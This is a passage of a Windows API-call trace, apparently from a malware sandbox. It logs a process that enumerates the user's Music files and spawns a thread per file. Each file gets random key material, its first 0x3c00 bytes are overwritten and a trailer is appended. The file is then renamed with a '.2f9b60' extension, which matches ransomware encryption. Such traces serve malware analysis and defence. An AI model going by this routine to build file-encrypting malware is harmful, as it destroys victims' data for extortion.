returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0112.188] wcscat (in: _Dest=0x1b79d470, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\*" [0112.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x20264320 [0112.188] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\*", lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80f888f0, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0x3b6cfe40, ftLastAccessTime.dwHighDateTime=0x1d5e52f, ftLastWriteTime.dwLowDateTime=0x3b6cfe40, ftLastWriteTime.dwHighDateTime=0x1d5e52f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86f10 [0112.188] wcscmp (_String1=".", _String2=".") returned 0 [0112.188] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80f888f0, ftCreationTime.dwHighDateTime=0x1d5e771, ftLastAccessTime.dwLowDateTime=0x3b6cfe40, ftLastAccessTime.dwHighDateTime=0x1d5e52f, ftLastWriteTime.dwLowDateTime=0x3b6cfe40, ftLastWriteTime.dwHighDateTime=0x1d5e52f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.189] wcscmp (_String1="..", _String2=".") returned 1 [0112.189] wcscmp (_String1="..", _String2="..") returned 0 [0112.189] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ad2c900, ftCreationTime.dwHighDateTime=0x1d5e0e1, ftLastAccessTime.dwLowDateTime=0x3aeadbb0, ftLastAccessTime.dwHighDateTime=0x1d5d957, ftLastWriteTime.dwLowDateTime=0x3aeadbb0, ftLastWriteTime.dwHighDateTime=0x1d5d957, nFileSizeHigh=0x0, nFileSizeLow=0xe256, dwReserved0=0x0, dwReserved1=0x0, cFileName="660x xr3sizc.wav", cAlternateFileName="660XXR~1.WAV")) returned 1 [0112.189] wcscmp (_String1="660x xr3sizc.wav", _String2=".") returned 1 [0112.189] wcscmp (_String1="660x xr3sizc.wav", _String2="..") returned 1 [0112.189] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b85cc30 [0112.189] wcscpy (in: _Dest=0x1b85cc30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0112.189] wcscat (in: _Dest=0x1b85cc30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0112.189] wcscat (in: _Dest=0x1b85cc30, _Source="660x xr3sizc.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\660x xr3sizc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\660x xr3sizc.wav" [0127.626] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85cc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880 [0127.627] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x742c8ec0, ftCreationTime.dwHighDateTime=0x1d5e08f, ftLastAccessTime.dwLowDateTime=0xb81bece0, ftLastAccessTime.dwHighDateTime=0x1d5e506, ftLastWriteTime.dwLowDateTime=0xb81bece0, ftLastWriteTime.dwHighDateTime=0x1d5e506, nFileSizeHigh=0x0, nFileSizeLow=0x9635, dwReserved0=0x0, dwReserved1=0x0, cFileName="8Ja1.wav", cAlternateFileName="")) returned 1 [0127.627] wcscmp (_String1="8Ja1.wav", _String2=".") returned 1 [0127.627] wcscmp (_String1="8Ja1.wav", _String2="..") returned 1 [0127.627] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20503e10 [0127.627] wcscpy (in: _Dest=0x20503e10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0127.627] wcscat (in: _Dest=0x20503e10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0127.627] wcscat (in: _Dest=0x20503e10, _Source="8Ja1.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\8Ja1.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\8Ja1.wav" [0127.627] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20503e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1884 [0127.629] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaa31b00, ftCreationTime.dwHighDateTime=0x1d5e68e, ftLastAccessTime.dwLowDateTime=0x609a3a40, ftLastAccessTime.dwHighDateTime=0x1d5d957, ftLastWriteTime.dwLowDateTime=0x609a3a40, ftLastWriteTime.dwHighDateTime=0x1d5d957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="a6LjjUV4K", cAlternateFileName="A6LJJU~1")) returned 1 [0127.629] wcscmp (_String1="a6LjjUV4K", _String2=".") returned 1 [0127.629] wcscmp (_String1="a6LjjUV4K", _String2="..") returned 1 [0127.629] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86a470 [0127.629] wcscpy (in: _Dest=0x1b86a470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0127.629] wcscat (in: _Dest=0x1b86a470, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0127.629] wcscat (in: _Dest=0x1b86a470, _Source="a6LjjUV4K" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K" [0127.629] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1888 [0127.630] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd657070, ftCreationTime.dwHighDateTime=0x1d5e54a, ftLastAccessTime.dwLowDateTime=0xfc8a0850, ftLastAccessTime.dwHighDateTime=0x1d5e0b3, ftLastWriteTime.dwLowDateTime=0xfc8a0850, ftLastWriteTime.dwHighDateTime=0x1d5e0b3, nFileSizeHigh=0x0, nFileSizeLow=0x8518, dwReserved0=0x0, dwReserved1=0x0, cFileName="X_HZADR4CInu.mp3", cAlternateFileName="X_HZAD~1.MP3")) returned 1 [0127.630] wcscmp (_String1="X_HZADR4CInu.mp3", _String2=".") returned 1 [0127.630] wcscmp (_String1="X_HZADR4CInu.mp3", _String2="..") returned 1 [0127.630] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a350 [0127.631] wcscpy (in: _Dest=0x1b86a350, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0127.631] wcscat (in: _Dest=0x1b86a350, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0127.631] wcscat (in: _Dest=0x1b86a350, _Source="X_HZADR4CInu.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\X_HZADR4CInu.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\X_HZADR4CInu.mp3" [0127.631] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188c [0127.632] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a7800, ftCreationTime.dwHighDateTime=0x1d5e808, ftLastAccessTime.dwLowDateTime=0xbe8bf070, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0xbe8bf070, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x2af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yizg_G7M7CDc.wav", cAlternateFileName="YIZG_G~1.WAV")) returned 1 [0127.632] wcscmp (_String1="Yizg_G7M7CDc.wav", _String2=".") returned 1 [0127.632] wcscmp (_String1="Yizg_G7M7CDc.wav", _String2="..") returned 1 [0127.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a2c0 [0127.632] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ" [0127.632] wcscat (in: _Dest=0x1b86a2c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\" [0127.632] wcscat (in: _Dest=0x1b86a2c0, _Source="Yizg_G7M7CDc.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\Yizg_G7M7CDc.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\Yizg_G7M7CDc.wav" [0127.632] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a2c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1890 [0127.633] FindNextFileW (in: hFindFile=0x1cd86f10, lpFindFileData=0x20264320 | out: lpFindFileData=0x20264320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5a7800, ftCreationTime.dwHighDateTime=0x1d5e808, ftLastAccessTime.dwLowDateTime=0xbe8bf070, ftLastAccessTime.dwHighDateTime=0x1d5e4c5, ftLastWriteTime.dwLowDateTime=0xbe8bf070, ftLastWriteTime.dwHighDateTime=0x1d5e4c5, nFileSizeHigh=0x0, nFileSizeLow=0x2af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yizg_G7M7CDc.wav", cAlternateFileName="YIZG_G~1.WAV")) returned 0 [0127.633] FindClose (in: hFindFile=0x1cd86f10 | out: hFindFile=0x1cd86f10) returned 1 [0127.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264320) returned 1 [0127.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d470) returned 1 [0127.634] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3570) returned 1 Thread: id = 1108 os_tid = 0x17f8 [0112.190] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mlcc0pJ83BVDZTQ61.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mlcc0pj83bvdztq61.m4a")) returned 0x20 [0112.190] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mlcc0pJ83BVDZTQ61.m4a", dwFileAttributes=0x20) returned 1 [0112.190] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\mlcc0pJ83BVDZTQ61.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\mlcc0pj83bvdztq61.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe1c [0112.190] GetFileSizeEx (in: hFile=0xe1c, lpFileSize=0x1f50f840 | out: lpFileSize=0x1f50f840*=58310) returned 1 [0112.190] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0xe3c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.190] ReadFile (in: hFile=0xe1c, lpBuffer=0x1f50f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f50f808, lpOverlapped=0x0 | out: lpBuffer=0x1f50f7c0*, lpNumberOfBytesRead=0x1f50f808*=0x4, lpOverlapped=0x0) returned 1 [0112.191] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8320 [0112.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261f70 [0112.191] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0112.191] NtQuerySystemTime (in: CurrentTime=0x1f50f700 | out: CurrentTime=0x1f50f700*=132462177176470000) returned 0x0 [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x511a34ed [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x30f754bf [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x3ae3bb45 [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x2ed9779a [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x27e49361 [0112.191] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x5d394328 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x3ce839cd [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x9287c13 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x505b834f [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x56f4f51 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x1b9a242b [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x62709a00 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x578e6f1e [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x61315313 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x50e7875d [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x17b4885a [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x2b2b6b57 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x65f4ab24 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x3968afcc [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x2d9b3207 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x22f0a649 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x83907e5 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x34b596e9 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x6f1df5f1 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x5931887 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x377e4819 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x58b8f970 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x26d4462c [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x50c61651 [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0xd8b787e [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x30c2372a [0112.192] RtlRandomEx (in: Seed=0x1f50f6f0 | out: Seed=0x1f50f6f0) returned 0x18cd592a [0112.200] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.200] ReadFile (in: hFile=0xe1c, lpBuffer=0x41e31d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1f50f760, lpOverlapped=0x0 | out: lpBuffer=0x41e31d40*, lpNumberOfBytesRead=0x1f50f760*=0x3c00, lpOverlapped=0x0) returned 1 [0112.200] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8320 [0112.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8320) returned 1 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e35950 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8320 [0112.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260c80 [0112.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260c80) returned 1 [0112.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0112.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.201] WriteFile (in: hFile=0xe1c, lpBuffer=0x41e35950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1f50f760, lpOverlapped=0x0 | out: lpBuffer=0x41e35950*, lpNumberOfBytesWritten=0x1f50f760*=0x3c00, lpOverlapped=0x0) returned 1 [0112.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e35950) returned 1 [0112.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e31d40) returned 1 [0112.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9ed70 [0112.203] SetFilePointerEx (in: hFile=0xe1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0112.203] WriteFile (in: hFile=0xe1c, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x1f50f810, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x1f50f810*=0x11c, lpOverlapped=0x0) returned 1 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79d970 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263b60) returned 1 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9ecb0 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b60 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260fb0 [0112.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260fb0) returned 1 [0112.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d970) returned 1 [0112.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0112.205] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c670 [0112.205] sprintf (in: _Dest=0x1cd9c670, _Format="%c%c" | out: _Dest="1c") returned 2 [0112.205] sprintf (in: _Dest=0x1cd9c672, _Format="%c%c" | out: _Dest="76") returned 2 [0112.205] sprintf (in: _Dest=0x1cd9c674, _Format="%c%c" | out: _Dest="05") returned 2 [0112.205] sprintf (in: _Dest=0x1cd9c676, _Format="%c%c" | out: _Dest="7d") returned 2 [0112.205] sprintf (in: _Dest=0x1cd9c678, _Format="%c%c" | out: _Dest="20") returned 2 [0112.205] sprintf (in: _Dest=0x1cd9c67a, _Format="%c%c" | out: _Dest="93") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c67c, _Format="%c%c" | out: _Dest="61") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c67e, _Format="%c%c" | out: _Dest="ba") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c680, _Format="%c%c" | out: _Dest="af") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c682, _Format="%c%c" | out: _Dest="47") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c684, _Format="%c%c" | out: _Dest="1c") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c686, _Format="%c%c" | out: _Dest="95") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c688, _Format="%c%c" | out: _Dest="f5") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c68a, _Format="%c%c" | out: _Dest="c1") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c68c, _Format="%c%c" | out: _Dest="97") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c68e, _Format="%c%c" | out: _Dest="1a") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c690, _Format="%c%c" | out: _Dest="43") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c692, _Format="%c%c" | out: _Dest="73") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c694, _Format="%c%c" | out: _Dest="30") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c696, _Format="%c%c" | out: _Dest="bc") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c698, _Format="%c%c" | out: _Dest="34") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c69a, _Format="%c%c" | out: _Dest="4a") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c69c, _Format="%c%c" | out: _Dest="f1") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c69e, _Format="%c%c" | out: _Dest="d4") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6a0, _Format="%c%c" | out: _Dest="33") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6a2, _Format="%c%c" | out: _Dest="ef") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6a4, _Format="%c%c" | out: _Dest="91") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6a6, _Format="%c%c" | out: _Dest="7b") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6a8, _Format="%c%c" | out: _Dest="61") returned 2 [0112.206] sprintf (in: _Dest=0x1cd9c6aa, _Format="%c%c" | out: _Dest="c0") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6ac, _Format="%c%c" | out: _Dest="6e") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6ae, _Format="%c%c" | out: _Dest="43") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6b0, _Format="%c%c" | out: _Dest="35") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6b2, _Format="%c%c" | out: _Dest="a7") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6b4, _Format="%c%c" | out: _Dest="49") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6b6, _Format="%c%c" | out: _Dest="1d") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6b8, _Format="%c%c" | out: _Dest="3c") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6ba, _Format="%c%c" | out: _Dest="1f") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6bc, _Format="%c%c" | out: _Dest="63") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6be, _Format="%c%c" | out: _Dest="5f") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6c0, _Format="%c%c" | out: _Dest="39") returned 2 [0112.207] sprintf (in: _Dest=0x1cd9c6c2, _Format="%c%c" | out: _Dest="fc") returned 2 [0112.207] RtlInitAnsiString (in: DestinationString=0x1f50f888, SourceString="1c76057d209361baaf471c95f5c1971a437330bc344af1d433ef917b61c06e4335a7491d3c1f635f39fc" | out: DestinationString="1c76057d209361baaf471c95f5c1971a437330bc344af1d433ef917b61c06e4335a7491d3c1f635f39fc") [0112.207] RtlAnsiStringToUnicodeString (in: DestinationString=0x1f50f858, SourceString="1c76057d209361baaf471c95f5c1971a437330bc344af1d433ef917b61c06e4335a7491d3c1f635f39fc", AllocateDestinationString=1 | out: DestinationString="1c76057d209361baaf471c95f5c1971a437330bc344af1d433ef917b61c06e4335a7491d3c1f635f39fc") returned 0x0 [0112.207] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279a30 [0112.207] wcscat (in: _Dest=0x1b85bc70, _Source="1c76057d209361baaf471" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471" [0112.207] wcscat (in: _Dest=0x1b85bc70, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\1c76057d209361baaf471.2f9b60" [0112.207] RtlDosPathNameToNtPathName_U (in: 